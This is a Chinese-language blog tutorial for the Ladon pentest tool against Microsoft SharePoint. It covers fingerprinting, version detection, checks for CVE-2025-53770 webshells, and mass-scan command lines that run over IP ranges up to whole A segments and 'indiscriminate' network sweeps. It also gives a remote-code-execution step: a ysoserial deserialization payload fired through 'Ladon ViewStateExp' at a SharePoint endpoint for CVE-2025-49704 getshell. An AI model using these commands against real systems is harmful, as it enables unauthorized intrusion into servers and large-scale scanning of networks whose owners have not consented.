CMS识别 SharePoint

CMS、WhatCMS、CmsInfo等，Cobalt Strike下用法一致，输入URL，仅识别URL对应指纹，输入非URL时，会探测常见cve-2025-53770网站、网络设备、打印机、路由器、防火墙、VPN等

Ladon http://k8gege.org CMS

SharePoint 版本探测

Ladon http://k8gege.org SharePointVer

结果如下

Load SharePointVer
http://k8gege.org  SharePoint: 16.0.0.5513 NET: 4.0.30319
IP Finished!
End: 2025-07-28 08:09:39

SharePoint CVE-2025-53770后门检测

根据公开资料，对SharePoint服务器进行扫描，还是能检到一此webshell

访问 可获取 ValidationKey

CVE-2025-49704漏洞getshell

ysoserial 生成反序列化payload 使用Ladon ViewStateExp执行RCE

Ladon ViewStateExp http://k8gege.org/_layouts/15/default.aspx payload.txt

CVE-2025-53770 漏洞检测

指定URL

Ladon http://k8gege.org cve-2025-53770

指定IP

Ladon k8gege.org cve-2025-53770

批量URL

Ladon url.txt cve-2025-53770

PS：TXT可存放IP、IP:Port、URL等格式

批量IP

Ladon ip.txt cve-2025-53770

指定C段

Ladon k8gege.org/24 cve-2025-53770
Ladon noping k8gege.org/24 cve-2025-53770

Ladon k8gege.org/24 cve-2025-53770
Ladon noping k8gege.org/24 cve-2025-53770

指定B段

Ladon k8gege.org/b cve-2025-53770
Ladon noping k8gege.org/b cve-2025-53770

Ladon k8gege.org/b cve-2025-53770
Ladon noping k8gege.org/b cve-2025-53770

指定A段

Ladon k8gege.org/a cve-2025-53770
Ladon noping k8gege.org/a cve-2025-53770

Ladon k8gege.org/a cve-2025-53770
Ladon noping k8gege.org/a cve-2025-53770

批量C段

Ladon ip24.txt cve-2025-53770
Ladon ipc.txt cve-2025-53770

Ladon noping ip24.txt cve-2025-53770
Ladon noping ipc.txt cve-2025-53770

PS: TXT存放多个目标的C段IP

批量B段

Ladon ip16.txt cve-2025-53770
Ladon noping ip16.txt cve-2025-53770

PS: TXT存放多个目标的B段IP

批量网段

Ladon cidr.txt cve-2025-53770
Ladon noping cidr.txt cve-2025-53770

PS: TXT存放各种IP网段，全网无差别扫描

更多功能 使用教程

https://k8gege.org/Ladon/

转载声明

K8博客文章随意转载，转载请注明出处！ © K8gege http://k8gege.org